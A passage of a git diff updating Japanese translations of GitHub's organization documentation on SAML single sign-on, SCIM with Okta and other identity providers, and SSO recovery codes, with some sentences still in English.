+Organization の {% data variables.product.product_name %} の SCIM API と連携できるアイデンティティプロバイダとして、以下のものがあります。 For more information, see [SCIM](/rest/reference/scim) in the {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation.
 - Azure AD
 - Okta
 - OneLogin
 
 {% data reusables.scim.enterprise-account-scim %}
 
-## Further reading
+## 参考リンク
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Connecting your identity provider to your organization](/articles/connecting-your-identity-provider-to-your-organization)"
-- "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
-- "[Viewing and managing a member's SAML access to your organization](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
+- [SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)
+- [アイデンティティプロバイダの Organization への接続](/articles/connecting-your-identity-provider-to-your-organization)
+- [Organization での SAML シングルサインオンの有効化とテスト](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)
+- [Organization へのメンバーの SAML アクセスの表示と管理](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
index 61ab67a115..268efd846c 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing your organization if your identity provider is unavailable
-intro: 'Organization administrators can sign into {% data variables.product.product_name %} even if their identity provider is unavailable by bypassing single sign-on and using their recovery codes.'
+title: アイデンティティプロバイダが利用できない場合の Organization へのアクセス
+intro: 'アイデンティティプロバイダが利用できない場合でも、Organization の管理者はシングルサインオンをバイパスし、リカバリコードを利用して {% data variables.product.product_name %}にサインインできます。'
 redirect_from:
   - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable
@@ -9,26 +9,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Unavailable identity provider
+shortTitle: 利用不可能なアイデンティティプロバイダ
 ---
 
-Organization administrators can use [one of their downloaded or saved recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) to bypass single sign-on. You may have saved these to a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Organization の管理者は、シングルサインオンをバイパスするために、[ダウンロード済み、あるいは保存済みのリカバリコードのいずれか](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)を利用できます。 You may have saved these to a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
 
 {% note %}
 
-**Note:** You can only use recovery codes once and you must use them in consecutive order. Recovery codes grant access for 24 hours.
+**メモ:** リカバリコードは一度しか使えず、順番に使わなければなりません。 リカバリコードにより、アクセスが 24 時間許可されます。
 
 {% endnote %}
 
-1. At the bottom of the single sign-on dialog, click **Use a recovery code** to bypass single sign-on.
-![Link to enter your recovery code](/assets/images/help/saml/saml_use_recovery_code.png)
-2. In the "Recovery Code" field, type your recovery code.
-![Field to enter your recovery code](/assets/images/help/saml/saml_recovery_code_entry.png)
-3. Click **Verify**.
-![Button to verify your recovery code](/assets/images/help/saml/saml_verify_recovery_codes.png)
+1. シングルサインオンをバイパスするには、シングルサインオンダイアログの下部で、[**Use a recovery code**] をクリックします。 ![リカバリコードを入力するためのリンク](/assets/images/help/saml/saml_use_recovery_code.png)
+2. [Recovery Code] フィールドにリカバリコードを入力します。 ![リカバリコードを入力するフィールド](/assets/images/help/saml/saml_recovery_code_entry.png)
+3. [**Verify**] をクリックします。 ![リカバリコードを検証するボタン](/assets/images/help/saml/saml_verify_recovery_codes.png)
 
-After you've used a recovery code, make sure to note that it's no longer valid. You will not be able to reuse the recovery code.
+一度使用したリカバリコードは二度と使用できないということを覚えておいてください。 リカバリコードは再利用できません。
 
-## Further reading
+## 参考リンク
 
-- "[About identity and access management with SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- [SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
index 0c2dba8ac3..20b7f8f132 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring SAML single sign-on and SCIM using Okta
-intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.product.product_location %}.'
+title: Okta を使う SAML シングルサインオンおよび SCIM を設定する
+intro: 'Okta を使う Security Assertion Markup Language (SAML) シングルサインオン (SSO) および System for Cross-domain Identity Management (SCIM) を使用すると、 {% data variables.product.product_location %} で Organization へのアクセスを自動的に管理することができます。'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta
 permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization.
@@ -9,51 +9,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Configure SAML & SCIM with Okta
+shortTitle: OktaでSAMLとSCIMを設定する
 ---
 
-## About SAML and SCIM with Okta
+## Okta での SAML と SCIM について
 
 You can control access to your organization on {% data variables.product.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP).
 
-SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+SAML SSO は、リポジトリや Issue、プルリクエストといった Organization のリソースに対するアクセスを制御し、保護します。 SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. 詳しい情報については、「[SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)」と「[SCIM について](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)」を参照してください。
 
-After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta.
+SCIM を有効にすると、Okta で {% data variables.product.prodname_ghe_cloud %} アプリケーションを割り当てる任意のユーザが次のプロビジョニング機能を使えるようになります。
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}. |
-| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}. |
-| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
-| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}. |
+| 機能            | 説明                                                                                                                                                                       |
+| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| 新しいユーザのプッシュ   | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}.                           |
+| ユーザ無効化のプッシュ   | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}.                                   |
+| プロフィール更新のプッシュ | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
+| ユーザの再アクティブ化   | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}.        |
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.saml.use-classic-ui %}
 
-## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta
+## Okta で {% data variables.product.prodname_ghe_cloud %} アプリケーションを追加する
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.add-okta-application %}
 {% data reusables.saml.search-ghec-okta %}
-4. To the right of "Github Enterprise Cloud - Organization", click **Add**.
-  ![Clicking "Add" for the {% data variables.product.prodname_ghe_cloud %} application](/assets/images/help/saml/okta-add-ghec-application.png)
+4. [Github Enterprise Cloud - Organization] の右で [**Add**] をクリックします。 ![{% data variables.product.prodname_ghe_cloud %} アプリケーションの [Add] をクリック](/assets/images/help/saml/okta-add-ghec-application.png)
 
-5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. For example, if your organization's URL is https://github.com/octo-org, the organization name would be `octo-org`.
-  ![Type GitHub organization name](/assets/images/help/saml/okta-github-organization-name.png)
+5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. たとえば、Organization の URL が https://github.com/octo-org の場合、Organization 名は `octo-org` となります。 ![GitHub の Organization 名を入力](/assets/images/help/saml/okta-github-organization-name.png)
 
-6. Click **Done**.
+6. [**Done**] をクリックします。
 
-## Enabling and testing SAML SSO
+## SAML SSO の有効化とテスト
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
 {% data reusables.saml.assign-yourself-to-okta %}
 {% data reusables.saml.okta-sign-on-tab %}
 {% data reusables.saml.okta-view-setup-instructions %}
-6. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+6. SAML 2.0 の設定方法に関するガイドから、サインオン URL、発行者 URL、公開の証明書を使用して、{% data variables.product.prodname_dotcom %} での SAML SSO を有効化してテストします。 詳細は「[Organization での SAML シングルサインオンの有効化とテスト](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)」を参照してください。
 
-## Configuring access provisioning with SCIM in Okta
+## Okta で SCIM を使ってアクセスのプロビジョニングを設定する
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
@@ -62,25 +60,22 @@ After you enable SCIM, the following provisioning features are available for any
 {% data reusables.saml.okta-enable-api-integration %}
 
 
-6. Click **Authenticate with Github Enterprise Cloud - Organization**.
-  !["Authenticate with Github Enterprise Cloud - Organization" button for Okta application](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
+6. [**Authenticate with Github Enterprise Cloud - Organization**] をクリックします。 ![Okta アプリケーションの [Authenticate with Github Enterprise Cloud - Organization] ボタン](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
 
-7. To the right of your organization's name, click **Grant**.
-  !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
+7. Organization 名の右にある [**Grant**] をクリックします。 ![Organization にアクセスできるよう Okta SCIM インテグレーションを認証する [Grant] ボタン](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
 
   {% note %}
 
-  **Note**: If you don't see your organization in the list, go to `https://github.com/orgs/ORGANIZATION-NAME/sso` in your browser and authenticate with your organization via SAML SSO using your administrator account on the IdP. For example, if your organization's name is `octo-org`, the URL would be `https://github.com/orgs/octo-org/sso`. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **注釈**: リストに自分の Organization が表示されていない場合は、ブラウザで `https://github.com/orgs/ORGANIZATION-NAME/sso` を開き、IdP での管理者アカウントを使用して SAML SSO 経由で Organization に認証してもらいます。 たとえば、Organization 名が `octo-org` の場合、URL は `https://github.com/orgs/octo-org/sso` となります。 詳しい情報については「[SAML シングルサインオンでの認証について](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)」を参照してください。
 
   {% endnote %}
-1. Click **Authorize OktaOAN**.
-  !["Authorize OktaOAN" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
+1. [**Authorize OktaOAN**] をクリックします。 ![Organization にアクセスできるよう Okta SCIM インテグレーションを認証する [Authorize OktaOAN] ボタン](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
 {% data reusables.saml.okta-save-provisioning %}
 {% data reusables.saml.okta-edit-provisioning %}
 
-## Further reading
+## 参考リンク
 
-- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
-- "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation
+- 「[Okta を使用して Enterprise アカウントの SAML シングルサインオンを設定する](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)」
+- [Organization の Team 同期を管理する](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)
+- Okta ドキュメントの「[Understanding SAML](https://developer.okta.com/docs/concepts/saml/)」
+- Okta ドキュメントの「[Understanding SCIM](https://developer.okta.com/docs/concepts/scim/)」
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
index 6917f58951..e847a6b293 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting your identity provider to your organization
-intro: 'To use SAML single sign-on and SCIM, you must connect your identity provider to your {% data variables.product.product_name %} organization.'
+title: アイデンティティプロバイダを Organization に接続する
+intro: 'SAML シングルサインオンおよび SCIM を使うには、あなたのアイデンティティプロバイダを、あなたの {% data variables.product.product_name %} Organization に接続する必要があります。'
 redirect_from:
   - /articles/connecting-your-identity-provider-to-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization
@@ -9,21 +9,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Connect an IdP
+shortTitle: IdPの接続
 ---
 
-When you enable SAML SSO for your {% data variables.product.product_name %} organization, you connect your identity provider (IdP) to your organization. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+When you enable SAML SSO for your {% data variables.product.product_name %} organization, you connect your identity provider (IdP) to your organization. 詳細は「[Organization での SAML シングルサインオンの有効化とテスト](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)」を参照してください。
 
 You can find the SAML and SCIM implementation details for your IdP in the IdP's documentation.
-- Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
-- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) and [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
-- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) and [SCIM](http://developer.okta.com/standards/SCIM/)
-- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) and [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
-- PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
-- Shibboleth [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
+- Active Directory フェデレーションサービス (AD FS): [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
+- Azure Active Directory (Azure AD): [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) および [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
+- Okta: [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) および [SCIM](http://developer.okta.com/standards/SCIM/)
+- OneLogin: [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) および [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
+- PingOne: [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
+- Shibboleth: [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} supported identity providers for SCIM are Azure AD, Okta, and OneLogin. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+**メモ:** {% data variables.product.product_name %} がサポートする SCIM アイデンティティプロバイダは Azure AD、Okta、OneLogin です。 {% data reusables.scim.enterprise-account-scim %} SCIMに関する詳しい情報については、「[SCIM について](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim) 」を参照してください。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
index 01040de16f..a3067c0aee 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading your organization's SAML single sign-on recovery codes
-intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.'
+title: Organization の SAML シングルサインオンのリカバリコードをダウンロードする
+intro: 'Organization のアイデンティティプロバイダを利用できない場合でも変わりなく {% data variables.product.product_name %} にアクセスできるよう、Organization の管理者は Organization 用に SAML シングルサインオンのリカバリコードをダウンロードする必要があります。'
 redirect_from:
   - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes
   - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes
@@ -10,28 +10,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Download SAML recovery codes
+shortTitle: SAMLリカバリコードのダウンロード
 ---
 
-Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+リカバリコードは共有や配布しないでください。 We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**.
-![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png)
-6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**.
-![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
+5. [SAML single sign-on] の下にあるリカバリコードに関する注意書きの [**Save your recovery codes**] をクリックします。 ![リカバリコードを表示し保存するリンク](/assets/images/help/saml/saml_recovery_codes.png)
+6. [**Download**]、[**Print**]、または [**Copy**] をクリックしてリカバリコードを保存します。 ![リカバリコードをダウンロード、印刷、コピーするボタン](/assets/images/help/saml/saml_recovery_code_options.png)
 
   {% note %}
 
-  **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated.
+  **メモ:** リカバリコードがあれば IdP を使用できないときに {% data variables.product.product_name %}に戻れます。 新しいリカバリコードを生成すると、「シングルサインオンのリカバリコード」ページに表示されているリカバリコードは自動的に更新されます。
 
   {% endnote %}
 
-7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on.
+7. リカバリコードを {% data variables.product.product_name %}へのアクセス回復のために一度使用すると、再利用はできません。 {% data variables.product.product_name %} へのアクセスは、シングルサインオンを使用してサインインするか聞かれるまでの 24 時間だけ有効です。
 
-## Further reading
+## 参考リンク
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
+- [SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)
+- 「[アイデンティティプロバイダが利用できない場合の Organization へのアクセス](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)」
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
index 00cc0a8af6..fa9b6d6a53 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and testing SAML single sign-on for your organization
-intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization.
+title: Organization 向けの SAML シングルサインオンを有効化してテストする
+intro: Organization のオーナーと管理者は、SAML シングルサインオンを有効にして、Organization のセキュリティを強化できます。
 redirect_from:
   - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization
@@ -9,55 +9,48 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable & test SAML SSO
+shortTitle: SAML SSOの有効化とテスト
 ---
 
 ## About SAML single sign-on
 
-You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization.
+すべてのメンバーに使用するように強制する必要なく、Organization 内で SAML SSO を有効化できます。 SAML SSO を Organization 内で強制せずに有効化することで、Organization での SAML SSO の導入がスムーズになります。 Organization 内の大半のメンバーが SAML SSO を使用するようになったら、Organization 内で強制化できます。
 
-If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+SAML SSO を有効化しても強制はしない場合、SAML SSO を使用しないメンバーは、引き続き Organization のメンバーであり続けます。 SAML SSO の強制化の詳細については、「[Organization で SAML シングルサインオンを施行する](/articles/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-## Enabling and testing SAML single sign-on for your organization
+## Organization 向けの SAML シングルサインオンを有効化してテストする
 
-Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. 詳細は「[Organization での SAML シングルサインオンの施行を準備する](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)」を参照してください。
 
 For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", select **Enable SAML authentication**.
-![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png)
+5. [SAML single sign-on] の下で [**Enable SAML authentication**] を選択します。 ![SAML SSO を有効化するためのチェックボックス](/assets/images/help/saml/saml_enable.png)
 
   {% note %}
 
-  **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)."
+  **メモ:** SAML SSO の有効化後、シングルサインオンのリカバリコードをダウンロードして、IdP が使用できなくなった場合にも Organization にアクセスできるようにできます。 詳細は「[Organization の SAML シングルサインオンのリカバリコードをダウンロード](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)」を参照してください。
 
   {% endnote %}
 
-6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png)
-7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under "Public Certificate," paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+6. [Sign on URL] フィールドにシングルサインオンのリクエスト用の IdP の HTTPS エンドポイントを入力します。 この値は Idp の設定で使用できます。 ![メンバーがサインインする際にリダイレクトされる URL のフィールド](/assets/images/help/saml/saml_sign_on_url.png)
+7. または、[Issuer] フィールドに SAML 発行者の名前を入力します。 これにより、送信メッセージの信ぴょう性が検証されます。 ![SAMl 発行者の名前のフィールド](/assets/images/help/saml/saml_issuer.png)
+8. [Public Certificate] の下で証明書を貼り付けて SAML の応答を検証します。 ![アイデンティティプロバイダからの公開の証明書のフィールド](/assets/images/help/saml/saml_public_certificate.png)
+9. {% octicon "pencil" aria-label="The edit icon" %} をクリックして、[Signature Method] および [Digest Method] ドロップダウンで、SAML 発行者がリクエストの整合性を検証するために使用するハッシュアルゴリズムを選択します。 ![SAML 発行者が使用する署名方式とダイジェスト方式のハッシュアルゴリズム用のドロップダウン](/assets/images/help/saml/saml_hashing_method.png)
+10. Organization で SAML SSO を有効化する前に、[ **Test SAML configuration**] をクリックして、入力した情報が正しいことを確認します。 ![強制化の前に SAML の構成をテストするためのボタン](/assets/images/help/saml/saml_test.png)
 
   {% tip %}
 
-  **Tip:** {% data reusables.saml.testing-saml-sso %}
+  **ヒント:** {% data reusables.saml.testing-saml-sso %}
 
   {% endtip %}
-11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
-![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png)
-12. Click **Save**.
-![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png)
+11. SAML SSO を強制して、IdP 経由で認証をされていないすべての Organization メンバーを削除するには、[**Require SAML SSO authentication for all members of the _Organization 名_ organization**] を選択します。 SAML SSO の強制化の詳細については、「[Organization で SAML シングルサインオンを施行する](/articles/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。 ![Organization 向けに SAML SSO を強制するためのチェックボックス ](/assets/images/help/saml/saml_require_saml_sso.png)
+12. [**Save**] をクリックします。 ![SAML SSO 設定を保存するためのボタン](/assets/images/help/saml/saml_save.png)
 
-## Further reading
+## 参考リンク
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- [SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
